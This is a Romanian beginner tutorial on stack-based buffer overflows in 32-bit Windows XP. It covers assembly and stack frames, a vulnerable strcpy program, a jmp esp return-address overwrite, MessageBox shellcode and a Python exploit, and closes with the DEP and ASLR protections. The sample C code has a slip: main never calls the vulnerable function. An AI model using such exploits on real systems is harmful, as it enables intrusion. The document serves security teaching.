Stack Based Buffer Overflow

Autor: Nytro
Powered by: Romanian Security Team
Website: https://www.rstforums.com/

Introducere

Am decis sa scriu un astfel de tutorial deoarece nu am mai vazut niciun astfel de articol scris in limba romana care sa explice pe intelesul tuturor care este cauza acestor probleme dar si cum se poate exploata. Tutorialul se adreseaza incepatorilor, dar sunt necesare cel putin cunostinte de programare C/C++ pentru a putea intelege conceptele.

Sistemul pe care vom descoperi si exploata problema este Windows XP (pe 32 de biti) din motive de simplitate: nu exista ASLR, o notiune pe care o vom discuta in detaliu mai jos.

Vreau sa incep cu o scurta introducere in limbaje de asamblare. Nu voi prezenta in detaliu, dar voi descrie pe scurt notiunile necesare pentru a intelege cum apare un "buffer overflow" si cum se poate exploata. Exista mai multe tipuri de buffer overflow-uri, aici il vom discuta pe cel mai simplu, stack based buffer overflow.

Introducere in ASM

Pentru a ma asigura ca inteleg toti programatorii C/C++, voi explica ce se intampla cu codul C/C++ cand este compilat. Un programator scrie codul:

```
#include <stdio.h>

int main()
{
    puts("RST rullz");
    return 0;
}
```

Compilatorul va translata aceste instructiuni in limbaj de asamblare apoi aceste intructiuni vor fi transpuse in "cod masina" (cunoscut si ca shellcode).

Exemplu, intructiunile in limbaj de asamblare:

```
PUSH OFFSET SimpleEX.??_C@_09GGKPFABJ@RST?5rullz?$AA@       ; /s = "RST
rullz"
CALL DWORD PTR DS:[<&MSVCR100.puts>]                        ; \puts
ADD ESP,4
XOR EAX,EAX
RETN
```

Nu e nevoie sa intelegeti deocamdata ce se intampla acolo.
Apoi, acest cod e reprezentabil in cod masina:

```
68 F4200300     PUSH OFFSET SimpleEX.??_C@_09GGKPFABJ@RST?5rullz?$AA@       ;
/s = "RST rullz"
FF15 A0200300   CALL DWORD PTR DS:[<&MSVCR100.puts>]                       ;
\puts
83C4 04         ADD ESP,4
33C0            XOR EAX,EAX
C3              RETN
```

Se poate vedea ca acum avem in plus o serie de octeti: 0x68 0xF4 0x20 0x03 0x00 0xFF 0x15 0xA0 0x20 0x03 0x00 0x83 0xC4 0x04 0x33 0xC0 0xC3. Prin acei octeti din dreptul lor sunt reprezentate si intelese de catre procesor instructiunile. Cu alte cuvinte, procesorul va citi aceasta serie de octeti si le va interpreta ca pe instructiunile din limbajul de asamblare.

Procesorul nu stie de variabilele din C. Procesorul are propriile sale "variabile", mai exact fiecare procesor are doar niste registri in care poate memora date.

Acesti registri sunt urmatorii (doar cei necesari):
- **EAX**, **EBX**, **ECX**, **EDX**, **ESI**, **EDI** - Registrii generali care memoreaza date
- **EIP** - Registru special: un program care executa rand pe rand fiecare instructiune a sa (din ASM). Sa zicem ca prima instructiune se afla in memorie la adresa 0x10000000. O instructiune poate sa aiba unu sau mai multi octeti. Sa presupunem ca are 3 octeti. Initial, valoarea acestui registru e 0x10000000. Dupa ce procesorul executa acea instructiune, valoarea registrului va fi schimbata la 0x10000003
- **ESP** - Stack pointer. Vom discuta mai in detaliu stack-ul ulterior. Pentru moment e de ajuns sa intelegeti ca stack-ul se afla in memorie si acest registru memoreaza adresa de memorie la care se afla varful stivei (stack). Mai exista de asemenea registru **EBP** care reprezinta "baza stivei"

Toti acesti registri au 4 octeti. Acel "E" vine de la "Extended" deoarece procesoarele pe 16 biti aveau registri pe 16 biti: AX, BC, CX, DX. Informativ, pe sistemele pe 64 de biti, registrii sunt: RAX, RBX...

Un concept extrem de important si care trebuie inteles cand vine vorba de limbaje de asamblare il reprezinta stiva (stack). Stiva e o structura de date in care datele (elementele de pe stiva) sunt puse "una peste alta" si la un moment dat poate fi scos de pe stiva doar elementul din varful stivei. Sau, cum explica o doamna profesoara de la Universitate, o stiva este ca niste farfurii puse una peste alta: cand adaugi una, o pui peste celelalte, iar cand vrei sa scoti una, o scoti mai intai pe cea din varf.

Stiva este foarte folosita la nivel de procesor deoarece:
- variabilele locale dintr-o functie sunt puse pe stiva
- parametrii cu care e apelata o functie sunt pusi pe stiva

Exista doua notiuni importante care trebuie intelese cand se lucreaza cu procesoare Intel:
- procesoarele sunt little endian: mai exact, daca aveti o variabila int x = 0x11223344, aceasta nu se va afla in memorie ca "0x11223344" ci ca "0x44332211"
- cand se adauga un element pe stiva, valoarea ESP-ului, registru care memoreaza varful stivei, va scadea!

Exista doua intructiuni folosite pentru a lucra cu stiva:
- **PUSH** - va pune o valoare (pe 32 de biti) pe stiva
- **POP** - va scoate o valoare (pe 32 de biti) de pe stiva

Exemplu de stiva:

24 - 1111
28 - 2222
32 - 3333

Prima coloana o reprezinta valoarea varfului stivei, valoare care scade cand se adauga un nou element, iar a doua coloana contine niste valori aleatoare. Sa adaugam doua elemente pe stiva:

```
PUSH 5555
PUSH 6666
```

Stiva va arata astfel:

16 - 6666
20 - 5555
24 - 1111
28 - 2222
32 - 3333

Ca sa intelegeti mai usor cum valoarea ESP-ului, registrul care contine un pointer la varful stivei, scade cand sunt puse date pe stiva, priviti acest registru ca pe o valoare "spatiu disponibil pe stiva" care scade cand sunt adaugate date.

Dupa cum am exemplificat si mai sus, la fel ca PUSH si POP, procesorul executa "instructiuni" pentru a-si face datoria. Fiecare instructiune are rolul sau, asa cum PUSH pune un element pe stiva si POP il scoate, alte instructiuni realizeaza:
- **ADD** - Face o adunare
- **SUB** - Face o scadere
- **CALL** - Apeleaza o functie
- **RETN** - Returneaza dintr-o functie
- **JMP** - Sare la o adresa
- **XOR** - Operatie binara, dar "XOR EAX, EAX" de exemplu e echivalentul mai optim al atribuirii EAX = 0
- **MOV** - Face o atribuire
- **INC** - Incrementeaza o valoare (variabila++)
- **DEC** - Decrementeaza o valoare (variabila--)

Exista foarte multe astfel de instructiuni, dar acestea ar fi cele mai importante. Sa vedem cateva exemple:
- **ADD EAX**, 5 ; Adauga valoarea 5 la registrul EAX. Adica EAX = EAX + 5
- **SUB EDX**, 7 ; Scade 5 din valoarea registrului EDX
- **CALL** puts ; Apeleaza functia puts
- **RETN** ; return-ul din C
- **JMP** 0x11223344 ; Sare la instructiunea de la acea adresa
- **XOR EBX**, **EBX** ; Echivalentul pentru EBX = 0
- **MOV ECX**, 3 ; Echivalentul pentru ECX = 3
- **INC ECX**; Echivalentul pentru ECX++
- **DEC ECX** ; Echivalentul pentru ECX--

Cred ca e destul de usor de inteles. Acum putem intelege ce face mai exact procesorul cu codul nostru care afiseaza un simplu mesaj:

1. **PUSH** OFFSET SimpleEX.@_rst_@ - Am inlocuit acel sir urat cu ceva mai simplu: este de fapt un pointer la sirul de caractere "RST rullz" din memorie. Instructiunea pune pe stiva pointerul la acest sir. Are ca efect scaderea a 4 octeti (sistem pe 32 de biti) din ESP. Adica "ESP = ESP -4"
2. **CALL** DWORD PTR **DS**:[<&MSVCR100.puts>] - Apeleaza functia "puts" din biblioteca "MSVCR100.dll" (Microsoft Visual C Runtime v10) folosita de Visual Studio 2010. Vom detalia mai jos ca pentru a apela o functie, trebuie mai intai sa punem parametrii pe stiva
3. **ADD ESP**,4 - Acel PUSH a avut ca efect scaderea a 4 octeti necesari pentru a apela functia, acum ii vom elibera de pe stiva adaugand 4 octeti
4. **XOR EAX**,**EAX** - Inseamna EAX = 0. Intr-o functie, la return, valoarea returnata va fi continuta de acest registru
5. **RETN** - Facem "return" din functie

Pentru a intelege mai bine cum functioneaza un apel de functie luam urmatorul exemplu:

```
#include <stdio.h>

int functie(int a, int b)
{
    return a + b;
}

int main()
{
    functie(5, 6);
    return 0;
}
```

Functia "main" va arata astfel:

```
PUSH EBP
MOV EBP,ESP
PUSH 6
PUSH 5
CALL SimpleEX.functie
ADD ESP,8
XOR EAX,EAX
POP EBP
RETN
```

Iar "functie" va fi de forma:

```
PUSH EBP
MOV EBP,ESP
MOV EAX,DWORD PTR SS:[EBP+8]
ADD EAX,DWORD PTR SS:[EBP+C]
POP EBP
RETN
```

Nota: Visual Studio e al dracu de destept (nu sunt ironic) si a facut calculele astfel incat nu mai exista niciun apel catre o alta functie, ci doar o valoare 0xB (adica 11, adica 5+6). Pentru teste puteti dezactiva complet optimizarile din Properties > C++ > Optimization.

Se pot observa cateva instructiuni:
- **PUSH EBP** (la inceputul functiilor)
- **MOV EBP**,**ESP** (la inceputul functiilor)
- **POP EBP** (la final)

Ei bine, aceste instructiuni au rolul de a crea "stack frame-uri". Mai exact, au rolul de a "separa" cumva functiile pe stiva, astfel incat registrii EBP si ESP (registrii care contin valorile ce reprezinta baza si varful stivei) sa delimiteze stiva folosita de catre functia respectiva. Spus altfel, cum fiecare functie poate avea propriile variabile, folosind aceste instructiuni, registrul EBP va contine adresa de unde incep datele folosite de functia care a fost apelata, iar ESP va contine varful stivei. Intre valorile ESP - EBP (ESP este mai mic) se afla datele folosite de functie.
Sa incepem cu functia care realizeaza adunarea:

- **MOV EAX**,DWORD PTR **SS**:[**EBP**+8]
- **ADD EAX**,DWORD PTR **SS**:[**EBP**+C]

Nu va speriati de acesti DWORD PTR SS:[EBP+8] si DWORD PTR SS:[EBP+C]. Asa cum am discutat anterior, intre EBP si ESP se afla datele folosite de functie. In cazul de fata, aceste date sunt parametrii cu care a fost apelata functia. Acesti parametri se afla pe stiva si sunt accesibili la locatiile EBP+8 si EBP+C, adica la 8 respectiv 12 octeti fata de registrul EBP.

De asemenea, in ASM, parantezele patrate sunt folosite ca si "*" in C/C++ cand e vorba de pointeri. Asa cum *p inseamna "valoarea de la adresa p" asa [EBP] inseamna "valoarea de la adresa EBP". E nevoie de o astfel de abordare deoarece EBP contine o adresa de memorie (de pe stiva) si noi avem nevoie de valorile de la adresele respective de memorie.

O alta notiune utila este faptul ca "DWORD" specifica faptul ca la acea adresa se afla o valoare pe 4 octeti. Exista cateva tipuri de date care specifica dimensiunile datelor cu care se lucreaza:
- BYTE - 1 octet
- WORD - 2 octeti
- DWORD - 4 octeti

Acei SS (Stack Segment) sau DS (Data Segment) sau CS (Code Segment) reprezinta alti registrii care identifica diverse zone/segmente de memorie: stiva, date sau cod, fiecare dintre acestea avand anumite drepturi de acces: read, write sau execute.

Functia pune in EAX valoarea primului parametru (a) si adauga la aceasta valoarea celui de-al doilea parametru (b). Astfel EAX contine a+b.

Trecem acum la ceea ce ne intereseaza de fapt si anume cum se realizeaza apelul unei functii:

```
PUSH 6
PUSH 5
CALL SimpleEX.functie
ADD ESP,8
```

Ne amintim ca apelul este "functie(5, 6)". Ei bine, pentru a apela o functie se executa urmatorii pasi:
1. Se pun pe stiva parametrii de la dreapta la stanga. Adica mai intai 6, apoi 5
2. Se apeleaza functia
3. Se elibereaza stiva, se curata parametrii de pe stiva

Astfel, mai intai se pun pe stiva doua valori (32 de biti, adica 4 octeti fiecare): 6 apoi 5, se apeleaza functia si apoi se curata stiva: ESP-ul devine ESP+8 (spatiul ocupat de catre cei doi parametri ai functiei) astfel incat ajunge la valoarea initiala, de dinainte de apelul de functie. Am discutat anterior ca pentru eliminarea datelor de pe stiva se poate folosi instructiunea POP, insa nu avem nevoie de POP deoarece nu ne intereseaza valorile de pe stiva, iar in acest caz ar fi nevoie de doua instructiuni POP pentru a elibera stiva. Daca am avea 100 de parametri la o functie ar trebui sa facem 100 de POP-uri, putem rezolva aceasta problema cu o simpla astfel de adunare.

Nota: E important dar nu e in scopul acestui tutorial: exista mai multe metode de a apela o functie. Aceasta metoda, care presupune adaugarea parametrilor pe stiva de la dreapta la stanga, apoi eliberarea stivei DUPA apelul functie se numeste "cdecl". Alte functii, precum cele ale sistemului de operare Windows, folosesc o alta metoda de a apela functiile (numita calling convention) numita "stdcall" si care presupune de asemenea punerea parametrilor functiilor pe stiva de la dreapta la stanga, DAR curatarea stivei se face in interiorul functiei, nu dupa apelul acesteia.

Un alt lucru important la apelul unei functii este urmatorul, apel realizat folosind intructiunea "call" il reprezinta faptul ca adresa imediat urmatoare instructiunii call care apeleaza functia, este pusa pe stiva!

Exemplu:

00261013 | **PUSH** 6 ; /Arg2 = 00000006
00261015 | **PUSH** 5 ; |Arg1 = 00000005
00261017 | **CALL** SimpleEX.functie ; \functie
0026101C | **ADD ESP**,8

In stanga se afla adresele de memorie la care se afla instructiunile respective. Instructiunile PUSH 5 si PUSH 6 au cate doi octeti. Instructiunea CALL, care se afla la adresa 0x00261017, are 5 octeti. Asadar adresa instructiunii urmatoare este 0x0026101C (adica 0x00261017 + 5). Aceasta este adresa care va fi pusa pe stiva la apelul functiei.

Stiva va arata astfel inainte de apelul functiei, dupa cele doua instructiuni PUSH:

24 - 0x5
28 - 0x6
32 - 0x1337 ; Ce se afla inainte de PUSH-uri

Dupa executarea instructiunii CALL, stiva va arata astfel (adresele stivei din prima coloana sunt informative):

20 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate
24 - 0x5
28 - 0x6
32 - 0x1337 ; Ce se afla inainte de PUSH-uri

Urmeaza apoi seria de instructiuni, prolog-ul functiei, care creaza stackframe-urile:

- **PUSH EBP**
- **MOV EBP,ESP**

Dupa acel PUSH, stiva va fi de forma:

16 - 32 ; EBP-ul anterior apelului functiei
20 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate
24 - 0x5
28 - 0x6
32 - 0x1337 ; Ce se afla inainte de PUSH-uri

Dupa MOV EBP,ESP - EBP-ul va avea valoarea "varful curent al stivei". E important de retinut ca variabilele locale ale functiei sunt plasate AICI pe stiva!

Sa modificam functia astfel:

```
int functie(int a, int b)
{
    int v1 = 3, v2 = 4;
    return a + b;
}
```

Avem acum in plus doua variabile initializate cu valorile 3 si 4. Noul cod al functiei va avea in plus:

SUB ESP,8 ; Se aloca spatiu pentru cele doua variabile (fiecare cate 4 octeti)
MOV DWORD PTR **SS**:[**EBP**-4],3 ; Initializarea primei variabile
MOV DWORD PTR **SS**:[**EBP**-8],4 ; Initializarea celei de-a doua variabile

Astfel stiva va contine:

08 - 4 ; Variabilele locale
12 - 3
16 - 32 ; EBP-ul anterior apelului functiei
20 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate
24 - 0x5
28 - 0x6
32 - 0x1337 ; Ce se afla inainte de PUSH-uri

E obligatoriu de retinut faptul ca variabilele locale ale functiilor sunt puse pe stiva. E de asemenea obligatoriu de inteles ca "adresa de return" e retinuta tot pe stiva.

Daca pana in acest punct nu ati inteles exact cum stau lucrurile, ori cereti mai multe detalii explicand ceea ce nu intelegeti, ori incercati sa va documentati singuri citind multitudinea de tutoriale pe care le gasiti pe Google.

Stack Based Buffer Overflow

Daca ati inteles toate conceptele de mai sus puteti trece mai departe. Daca nu, recititi si incercati sa intelegeti sau va mai puteti documenta, exista o multitudine de articole din care puteti intelege aceste notiuni. Daca totul este in regula, puteti trece la acest capitol.

Discutam ca stiva contine urmatoarele (in aceasta ordine, unde "variabilele locale" se afla la "adresa cea mai mica" iar "parametrii functiei" la "adresa cea mai mare"):
- Variabilele locale ale functiei (variabil, sa zicem 20 bytes)
- EBP-ul anterior (salvat cu PUSH EBP)
- Adresa de return (de exemplu 0x0026101C)
- Parametri cu care a fost apelata functia

Este destul de usor de inteles acum cum functioneaza un Stack Based Buffer Overflow.

Sa luam urmatorul caz. Avem functia urmatoare, apelata din main:

```
#include <stdio.h>
#include <string.h>

// Functia de afisare a numelui

void Afiseaza(char *p_pcNume)
{
    // Buffer-ul in care va fi stocat numele

    char buffer[20];

    // Copiem numele in buffer

    strcpy(buffer, p_pcNume);

    // Afisam numele

    printf("Salut: %s", buffer);
}

// Functia main

int main(int argc, char* argv[])
{
    // Trebuie sa avem un argument, numele

    if(argc != 2)
    {
        puts("Lipseste argumentul: Ex: ./sbof Ionut");
        return 1;
    }
}
```

Programelul este simplu: primeste un parametru in linia de comanda si apeleaza functia "Afiseaza". Problema se poate vedea aici:

```
char buffer[20];
strcpy(buffer, p_pcNume);
```

Avem o variabila locala, buffer, de 20 de octeti. Atentie! Nu confundati un vector cu un pointer (char *buffer)! In cazul unui pointer pentru care s-a alocat spatiu cu "malloc" sau "new []", pe stiva se afla doar pointer-ul (4 octeti) NU si spatiul care a fost alocat pe HEAP!

Avand o variabila de 20 de octeti pe stiva, copiem in acea variabila sirul de caractere pe care il primim din linia de comanda. Ce se intampla insa daca sirul de caractere depaseste dimensiunea de 20 de octeti? Avem un buffer overflow. Denumirea de "Stack Based Buffer Overflow" vine de la faptul ca acest buffer este memorat pe stiva.

Sa vedem cum ar arata o stiva care ar contine toate datele in momentul apelului functiei.

100 - BUFFER - octetii 0-4
104 - BUFFER - octetii 4-8
108 - BUFFER - octetii 8-12
112 - BUFFER - octetii 12-16
116 - BUFFER - octetii 16-20
120 - 136 ; EBP-ul anterior apelului functiei
124 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate
128 - 0x5
132 - 0x6
136 - 0x1337 ; Ce se afla inainte de PUSH-uri

Daca apelam functia folosind sirul de caractere "Nytro @ RST", stiva va arata astfel:

100 - Nytr
104 - o @
108 - RST\0
112 - XXXX - octetii 12-16 (XXXX sunt date aleatoare)
116 - XXXX - octetii 16-20
120 - 136 ; EBP-ul anterior apelului functiei
...

Probabil v-ati dat seama singuri cum se poate exploata aceasta problema: daca suprascriem CORECT stiva, daca apelam programul cu un sir de caractere corect, astfel incat sa SUPRASCRIEM ADRESA DE RETURN, dupa ce functia "Afiseaza" isi va termina executia, in momentul in care se va apela instructiunea RETN, procesorul va sari la adresa pe care noi am suprascris-o: in locul adresei 0x0026101C vom pune noi o anumita adresa.

Putem astfel controla executia procesului!

Daca vom apela programul astfel:

StackBOF.exe aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

In debugger se va putea observa urmatoarea eroare:

"Access violation when executing [61616161]"

Daca nu v-ati dat seama, 0x61 este codul ascii al caracterului "a". Deci procesorul incearca sa execute codul de la adresa "aaaa". Ce putem face in acest caz? Ii putem oferi CORECT (adica la locatia corecta in sirul "aaaa...aaaa") o adresa valida de memorie, la care se afla cod valid, obtinand astfel posibilitatea de a executa cod propriu!

Cum putem insa executa propriul cod astfel? Raspunsul este simplu: "jmp esp".

Intelegem ca am suprascris stiva. Am suprascris atat "adresa de return" dar am suprascris si ce era DUPA adresa de return. Si e important de precizat faptul ca asa cum la "CALL" pe stiva se pune automat adresa de return, asa la RETN, adresa de return e eliberata de pe stiva si procesorul executa instructiuni incepand cu acea adresa. Asa cum la CALL registrul ESP devine ESP-4 deoarece se adauga 4 octeti (adresa de return), asa la RETN registrul ESP devine ESP+4 deoarece se scoate de pe stiva respectiva adresa. Asta inseamna ca ESP este acum un pointer la datele de DUPA adresa de return, un pointer la niste date pe care NOI le-am pus acolo.

Asadar, pentru a dezvolta raspunsul "jmp esp": daca gasim undeva in spatiul de memorie al procesului pe care il exploatam, adica in codul executabilului sau codul din DLL-urile folosite de catre proces, o secventa de cod "jmp esp" putem sa plasam adresa acestei instructiuni in locul adresei de return, astfel incat procesorul, dupa executia instructiunii RETN va sari la acea adresa si va executa "jmp esp" si apoi procesorul va executa instructiunile de pe stiva pe care noi o controlam.

Sa presupunem ca gasim instructiunea "jmp ESP" la adresa de memorie 0x11223344.

Avem pe stiva:

100 - BUFFER - octetii 0-4
104 - BUFFER - octetii 4-8
108 - BUFFER - octetii 8-12
112 - BUFFER - octetii 12-16
116 - BUFFER - octetii 16-20
120 - 136 ; EBP-ul anterior apelului functiei
124 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate
128 - 0x5
132 - 0x6
136 - 0x1337 ; Ce se afla inainte de PUSH-uri

DAR, daca vom suprascrie in mod corect stiva, o vom face astfel:
1. Vom pune "aaaaaaaaaaaaaaaaaaaa" - 20 de octeti - pentru a umple buffer-ul
2. Vom mai pune "aaaa" - 4 octeti - pentru a suprascrie EBP-ul anterior
3. Vom pune 0x11223344 - 4 octeti - adresa de return (adresa instructiunii jmp esp)
4. Vom pune shellcode-ul (cod masina) - pe care vrem sa il executam

Stiva va arata astfel:

100 - aaaa
104 - aaaa
108 - aaaa
112 - aaaa
116 - aaaa
120 - aaaa
124 - 0x44332211 ; Little endian
128 - XXXX
132 - XXXX

Unde XXX... e shellcode-ul pe care vrem sa il executam. Daca nu ati mai intalnit acest termen, tineti minte doar ca puteti gasi pe Google/Exploit-DB/Shell-Storm o gramada de shellcode-uri. Exemple:
- Download & Execute: care permite descarcarea si executarea unui EXE
- Bind TCP: care deschide un port si permite executarea de comenzi
- Calc.exe/MessageBox: care deschide calc.exe sau afiseaza un mesaj (pentru teste)

Sa vedem pas cu pas cum functioneaza totul (simplificat):

```
void Afiseaza(char *p_pcNume)
{
	char buffer[20];
	strcpy(buffer, p_pcNume);
}
```

1. Se primeste argumentul (pentru exploatare) de la tastatura
2. Se apeleaza functia Afiseaza cu acest argument
3. Se pun pe stiva:
- pointer la sirul de caractere (parametrul functiei)
- adresa de return (la CALL)
- EBP anterior (in corpul functiei) (cu PUSH EBP)
- buffer-ul (20 de octeti - variabila locala)
4. Se apeleaza strcpy()
- se copiaza in buffer primii 20 de octeti (din argumentul de la tastatura)
- urmatorii 4 octeti suprascriu EBP-ul enterior
- urmatorii 4 octeti suprascriu adresa de return
- urmatorii bytes suprascriu restul stivei
5. Se elibereaza spatiul folosit de buffer (se face ADD ESP, 0x14)
6. Se face RETN

Ce se intampla acum e important:
1. Se scoate de pe stiva adresa de return (suprascrisa de noi cu o adresa de memorie la care se afla instructiunea "jmp esp")
2. Procesorul sare la adresa respectiva si executa "jmp esp"
3. Efectul este saltul si executia codului prezent pe stiva (ESP-ul contine acum un pointer la datele de dupa "adresa de return")

Pe stiva, la adresa ESP, se afla acum shellcode-ul nostru: un limbaj masina care ne permite sa efectuam o anumita actiune, probabil cele mai folosite astfel de actiuni sunt "Download & Execute", adica infectarea cu un trojan sau altceva, sau "Bind TCP", adica ascultarea pe un port pe care noi, ca atacatori, ne putem conecta ulterior si putem executa comenzi.

Cum gasim insa o adresa unde se afla instructiunea jmp esp? Ei bine, aici depinde de voi si de debugger-ul pe care il folositi. Scopul acestui articol este sa intelegeti cum se exploateaza un buffer overflow, nu cum sa folositi un debugger, dar voi face o scurta descriere a acestor programe.

In testele facute de mine am folosit Immunity Debugger. Este gratuit, simplu si frumos. Puteti incerca de asemenea OllyDbg, IDA Free sau WinDbg. Un debugger poate deschide un executabil (sau dll), il incarca in memorie, il dezasambleaza (transforma codul masina in cod ASM) si permite debugging-ul, adica permite executarea programului instructiune cu instructiune oferind toate informatiile necesare:
- instructiunile care se executa sau care urmeaza sa fie executate
- toti registrii (EAX, EBX... EBP, ESP, EIP)
- anumite zone de memorie (pe care le doriti) - memory dump
- stiva, afisand unde este varful acesteia (ESP)

De asemenea, un debugger ofera mai multe functionalitati:
- permite setarea unor breakpoint-uri, adica permite sa opriti executia programului la o anumita instructiune
- permite vizualizarea DLL-urilor folosite de catre executabil (cele incarcate in memorie) si vizualizarea functiilor exportate (Names) - in cazul in care vreti sa puneti breakpoint pe o anumita functie sunt foarte utile aceste informatii
- permite vizualizarea thread-urilor curente, a handle-urilor si multe altele
- permite cautari in functie de multe criterii
- permite modificarea instructiunilor care urmeaza sa fie executate
- permite modificarea valorilor registrilor
- permite cam tot ce ar putea fi util

Pentru a putea gasi o instructiune "jmp esp", ne vom folosi de doua functionalitati:
- vizualizarea codului DLL-urilor
- cautarea comenzilor (sau sirurilor binare) in memoria executabilului sau a DLL-urilor

In Immunity debugger, pentru a deschide kernel32.dll (toate executabilele incarca in memorie si folosesc DLL-urile kernel32 si ntdll), de exemplu, apasam pe butonul "E" apoi facem dublu click pe kernel32.dll. Daca nu vom gasi un jmp esp in acest DLL, incercam in toate celelalte "module" (.exe sau .dll). Dupa ce s-a deschis, dam click dreapta > Search for > All commands si introducem "jmp esp". Vom vedea apoi o lista cu toate adresele la care gasim acea instructiune. Ei bine, asa se poate face in Immunity, exista mult mai multe metode, in functie de Debugger, alegeti ceea ce vi se pare mai simplu. O alta metoda ar fi Search For > Binary String > "FF E4", adica codul masina care reprezinta instructiunea "jmp esp".

In cazul meu, pe Windows XP, am gasit instructiunea "jmp esp" in kernel32.dll la adresa 0x7C86467B, reprezentata in little endian ca 0x7b46867c.

Scopul acestui articol este doar de a intelege cum functioneaza si vom folosi un shellcode de teste, un cod masina care afiseaza un simplu mesaj pentru a stii daca am reusit sau nu sa exploatam problema.

Pentru teste eu am ales acest shellcode: http://www.exploit-db.com/exploits/28996/

```
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
```

Pe intelesul tuturor, cand procesorul va executa acel cod masina pe un sistem Windows, va apela functia "MessageBox" si va afisa un mesaj.

Astfel, pentru simplitate, vom scrie codul in Python. Adica din Python vom genera sirul de caractere necesar pentru a apela programul si a executa codul nostru.

Exploit-ul scris in Python este urmatorul:

```
#!/usr/bin/python
import ctypes
import subprocess

buffer = "\x41" * 24
buffer += "\x7b\x46\x86\x7c"

buffer += ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")

subprocess.call(['C:\\Documents and Settings\\Administrator\\Desktop\\Stack
BOF\\StackBOF.exe', buffer])
```

E destul de usor de inteles ce face pentru ca am explicat anterior:
- buffer = "\x41" * 24 - Suprascriem buffer si EBP de pe stack
- buffer += "\x7b\x46\x86\x7c" - Suprascriem adresa de return cu adresa unei instructiuni jmp esp (instructiunea se va afla intotdeauna la acea adresa daca nu exista ASLR si daca e vorba despre ACELASI sistem de operare - altfel spus, poate sa difere intre XP SP1, XP SP2 si XP SP3)
- buffer += ("\x31\xd2\xb2...\x51\x50\xff\xd7") - Shellcode-ul care afiseaza un mesaj
- subprocess.call(...) - Apelam executabilul cu buffer-ul (numit si PAYLOAD) nostru care ne permite sa executam propriul cod

Daca nu vi se pare foarte util, incercati sa va ganditi ca aceasta problema poate sa apara in cazuri mai "utile":
- la deschiderea unui document (.pdf, .docx, .xlsx)
- la citirea unor date pe socket (server FTP, server SSH)
- la deschiderea unor pagini web (IE, Firefox)

Problema poate sa apara in foarte multe locuri si se poate exploata pentru multe programe. Sa nu aveti insa asteptari prea mari sa descoperiti o astfel de problema in programe importante: Google Chrome, Mozilla, Office Word/Excel, Adobe Reader... Puteti gasi insa probleme mai complicate: Use after free, Type confusion, Heap overflow etc, probleme care sunt insa mult mai dificil de descoperit si de exploatat.

Mecanisme de protectie

Exsita cateva mecanisme create special pentru a proteja aplicatiile de astfel de probleme. Aceste mecanisme pot fi oferite atat de catre sistemul de operare cat si de catre compilator.

DEP - Data Execution Prevention este un mecanism de protectie atat hardware (NX bit) cat si software care NU permite executia de cod din zonele care nu au permisiunile de "execute". O zona/pagina de memorie poate avea permisiuni de "read", "write" si/sau "execute". O zona de date ar avea in mod normal permisiuni de "read" si/sau "write" iar o zona de cod ar avea permisiuni de "read" si "execute". Stiva (read+write) este o zona de memorie de pe care nu ar trebui sa existe posibilitatea de a se executa cod (dar fara DEP exista), iar DEP ofera exact aceasta masura de protectie. Probabil ati inteles mai devreme ca shellcode-ul este pus pe stiva si executat de catre procesor de pe stiva. DEP nu va permite acest lucru. Pentru a activa DEP pe un executabil, din Visual Studio activati optiunea din Configuration > Linker > Advanced > Data Execution Prevention (/NXCOMPAT).

ASLR - Address Space Layour Randomization, care a fost introdus in Windows Vista si este motivul pentru care din simplitate am ales sa invatam pe un Windows XP, este o alta metoda de protectie a sistemului de operare impotriva acestor atacuri. Dupa cum ati observat, un proces si DLL-urile folosite de catre acesta sunt incarcate in mod obisnuit la aceeasi adresa de memorie. De aceea exista posibilitatea de a stii cu exactitate la ce adresa de memorie se afla anumite instructiuni (jmp esp de exemplu) pe care le putem folosi in exploatarea unui buffer overflow. ASLR randomizeaza adresele la care sunt incarcate in memorie mai multe elemente cheie ale unui proces: executabilul si DLL-urile, heap-ul si stiva. Astfel este mult mai dificil pentru un atacator sa ghiceasca adresa la care se afla o anumita instructiune pentru a o putea executa. Activarea din Visual Studio se face ca si DEP din Configuration > Linker > Advanced > Randomized Base Address (/DYNAMICBASE).

